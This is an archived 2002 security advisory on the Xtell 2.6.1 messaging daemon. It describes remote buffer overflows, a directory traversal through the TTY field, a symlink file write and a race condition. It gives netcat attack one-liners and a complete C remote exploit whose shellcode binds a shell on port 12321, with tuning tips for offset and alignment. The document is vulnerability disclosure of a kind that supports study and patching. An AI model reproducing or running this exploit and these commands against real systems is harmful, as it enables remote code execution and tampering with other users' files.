1st Mar 2002 [SBWID-5158]
COMMAND
xtelld several buffer overflows, information leakage, arbitrary files
writing.
SYSTEMS AFFECTED
2.6.1, most of the vulnerabilities are present in all previous versions
PROBLEM
Spybreak found following :
Xtell from the Debian Linux distribution is a network messaging client
for sending messages to users on different computers. Xtell 2.6.1 with
at least 3 remote buffer overflows, symlink bug, \"..\" directory
traversal, file race condition (just mention some of them ...) and some
\"nice\" extra features can be a \"funny\" thing on ones computer.
Debian Linux distributes versions 1.91 and 2.6.1 (the latest version)
but there do exist numerous versions between these two.
Xtell can be run as daemon or from inetd. In the default installation
it runs as \'nobody\' with GID tty and listens on the port 4224
(default Xtell port). However even an ordinary user can run his own
Xtell server, with his/her UID/GID of course. As the portnumber which
the Xtelld listens on is fully configurable, there can be more than
just one running Xtell server at the same time. Xtelld servers run by
ordinary users are not so rare to see, especially on university
computers without xtelld installed by admin.
VULNERABILITIES
Xtell 2.6.1 contains at least three remote buffer overflows.
Anyone with own DNS service can remotely execute arbitrary code through
a buffer overflow in the reverse resolving code in the xtelld server,
with the UID xtelld runs under.
Next, due to the absence of length check of the auth string obtained
from the auth service, an output buffer can be overflowed. So anyone
with fakeident server is able to remotely execute arbitrary code on the
target system.
Finally the output buffer can be overflowed by the data itself sent to
the port 4224 (without playing with DNS or auth) depending on the size
of the strings returned by these services without any manipulation. But
playing with services gives instant results.
For more see the EXPLOIT part.
EXPLOIT(s)
Of all of these possibilities I chose to send the exploit code through
the xtelld port while setting my ident string to length of 200
characters to make it closer to the end of the output buffer (our
target).
The remote exploit (on the tail of this file) spawns a shell on the
port 12321 with the UID/GID of the xtelld server what is nobody/tty by
default. Play a little with the offset and alignment. Should be no
problems to get it work. Do not forget to set your ident string. The
alignment is critical as the position of the exploit code in the output
buffer depends on the length of various strings in the output buffer.
But even without the exploit (patched kernel, etc ...) there can be
some fun with xtelld.
The server (xtelld) receives strings sent by the client (xtell) in the
following form:
FROM:USER:TTY:MSG
FROM is the sender of the message, USER is the person we want to send
message, TTY is the destination tty we want our message write to, and
finally MSG is our message. TTY can be max. 8 characters long. After
such message an xtelld server replies with some status message to the
client.
Now how xtelld handles these different fields. Most interesting are the
USER and TTY fields. You should supply at least USER or TTY. If you
supply only USER, xtelld will send your message to the USER\'s tty
provided he is logged in, and will search for .xtell-log file in the
USER\'s home directory to log the message.
If you supply only TTY, xtelld will send your message to that tty if it
is writable by the xtelld server.
If you supply both USER and TTY, xtelld first tries to write to TTY and
then tries to find USER\'s .xtell-log file for logging. Doesn\'t matter
if USER is a valid username on the target system.
Now a funny secret. Xtelld believes that TTY is a valid tty, it simply
places it under \"/dev/\" and tries to blindly write into it. No checks
for valid tty belonging to logged in user USER. Therefore we can
directly write some junk into any device under /dev, writable by xtelld
(default nobody/tty).
And due to a directory traversal possibility, with local access we can
do: (especially interesting when xtelld run by some user)
ln -s some-users-file /tmp/x
echo ::../tmp/x:junk | nc localhost 4224
or with the client:
xtell :../tmp/x@localhost junk
Recall that TTY can be max. 8 chars long. With netcat variant we can
easily control the FROM field.
Why use that old-fashioned finger?
Try to send a \"little\" longer message. When the user is logged in
you\'ll get:
$ echo :USER::`perl -e \'print \"A\" x 2000\'`| nc victimhost 4224
200 OK, sent.
406 Ehhh, what?
or
405 Cannot write to that user\'s tty.
406 Ehhh, what?
or
404 User does not want you.
406 Ehhh, what?
if he\'s not:
403 User is not here.
406 Ehhh, what?
Provided that USER is a valid login name. Stealthy, without any logs.
On the target \"TTY\" xtelld tries to show (besides the MSG) some info
on the sender of the message - the USER field, user resolved by identd,
IP or resolved FQDN. With crazy combinations of different field lengths
(differ between versions) it is posible to make xtelld fail to output
the senders address. In such cases xtelld outputs only the FROM : MSG
fields, which can be easily manipulated.This way it is possible to
quietly remotely fill with trash someones .xtell-log file, providing
\"null\" as the TTY, to avoid output to that USER\'s tty, or fill the
/tmp directory.
There is also a race condition in checking for the regularity of the
.xtell-log file ...
------------------------- snip --------------------------------
cat >xtelld261.c <<EOF
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <netinet/in.h>
/*
* Remote exploit for Xtelld 2.6.1 and older
* Spawns shell on port 12321
* Don\'t forget to set your identd string to 200 characters
* Tested against Red Hat 7.2, 7.1; Debian Potato
* (c) 2002 Spybreak (spybreak@host.sk)
*/
#define RET 0xbffff5a0
char sc[] =
\"\\x55\\x89\\xe5\\x31\\xc0\\x66\\xc7\\x45\\xf2\\x30\"
\"\\x21\\x89\\x45\\xf4\\x89\\x45\\xf8\\x89\\x45\\xfc\"
\"\\x89\\x45\\xe8\\xfe\\xc0\\x89\\xc3\\x89\\x45\\xe4\"
\"\\xfe\\xc0\\x66\\x89\\x45\\xf0\\x89\\x45\\xe0\\xb0\"
\"\\x66\\x8d\\x4d\\xe0\\xcd\\x80\\x89\\x45\\xe0\\xb0\"
\"\\x66\\xfe\\xc3\\x8d\\x55\\xf0\\x89\\x55\\xe4\\x31\"
\"\\xd2\\xb2\\x42\\x80\\xea\\x32\\x89\\x55\\xe8\\x8d\"
\"\\x4d\\xe0\\xcd\\x80\\xb0\\x66\\xfe\\xc3\\xfe\\xc3\"
\"\\xfe\\xc3\\x89\\x5d\\xe4\\xfe\\xcb\\x8d\\x4d\\xe0\"
\"\\xcd\\x80\\xb0\\x66\\xfe\\xc3\\x31\\xd2\\x89\\x55\"
\"\\xe4\\x8d\\x4d\\xe0\\xcd\\x80\\x89\\xd9\\x89\\xc3\"
\"\\xfe\\xc9\\xfe\\xc9\\xfe\\xc9\\x31\\xc0\\xb0\\x3f\"
\"\\xcd\\x80\\xfe\\xc1\\xe2\\xf4\\x51\\x68\\x6e\\x2f\"
\"\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x51\"
\"\\x89\\xe2\\x53\\x89\\xe1\\x31\\xc0\\xb0\\x3d\\x2c\"
\"\\x32\\xcd\\x80\";
void
usage (char *exp)
{
fprintf (stderr, \"Remote exploit for xtelld 2.6.1 and older.\\n\"
\"Spawns shell on port 12321.\\n\"
\"-- (c) 2002/2 Spybreak --\\n\"
\"Usage: %s [options] target\\n\", exp);
fprintf (stderr, \"Options: -a alignment (default 0)\\n\"
\" -o offset (default 0)\\n\"
\" -p port (default 4224)\\n\");
exit (-1);
}
int
main (int argc, char **argv)
{
int c, s, i, size, port = 4224;
int ret = RET, alignment = 0;
struct sockaddr_in target;
struct hostent *host;
char payload[1078];
opterr = 0;
while ((c = getopt (argc, argv, \"a:o:p:\")) != -1)
switch (c)
{
case \'a\':
alignment = atoi (optarg);
break;
case \'o\':
ret += atoi (optarg);
break;
case \'p\':
port = atoi (optarg);
break;
default:
usage (argv[0]);
exit (1);
}
if (!argv[optind])
{
puts (\"no target!\");
usage (argv[0]);
}
printf (\"Using: TARGET: %s\\tPORT: %d\\tADDR: %x\\t ALIGN: %d\\n\",
argv[optind], port, ret, alignment);
for (i = 0; i < 540; i++)
payload[i] = 0x90;
for (i = 540; i <= 1072; i += 4)
*((int *) (payload + i)) = ret;
memcpy (payload + 540, sc, sizeof (sc) - 1);
memcpy (payload, \"01234567890123456789::null:;-)\", 30);
payload[1077 + alignment] = \'\\n\';
host = gethostbyname (argv[1]);
if (host == NULL)
{
perror (\"gethostbyname\");
return (-1);
}
s = socket (AF_INET, SOCK_STREAM, 0);
if (s < 0)
{
perror (\"socket\");
return (-1);
}
target.sin_family = AF_INET;
target.sin_addr = *((struct in_addr *) host->h_addr);
target.sin_port = htons (port);
if (connect (s, (struct sockaddr *) &target, sizeof (target)) == -1)
{
perror (\"connect\");
close (s);
return (-1);
}
size = send (s, payload + alignment, 1078, 0);
if (size == -1)
{
perror (\"send\");
close (s);
return (-1);
}
close (s);
return (0);
}
EOF
SOLUTION
Nothing yet.
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH